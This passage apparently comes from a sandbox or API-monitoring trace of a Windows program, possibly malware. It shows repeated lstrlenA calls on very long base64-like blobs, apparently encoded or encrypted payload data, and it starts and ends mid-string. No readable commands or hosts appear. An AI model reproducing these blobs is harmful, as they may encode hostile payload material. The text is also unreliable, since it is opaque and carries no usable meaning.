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") returned 5820
	[0084.630] lstrlenA (lpString="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") returned 5820
	[0084.630] lstrlenA (lpString="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") returned 5820
	[0084.630] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rX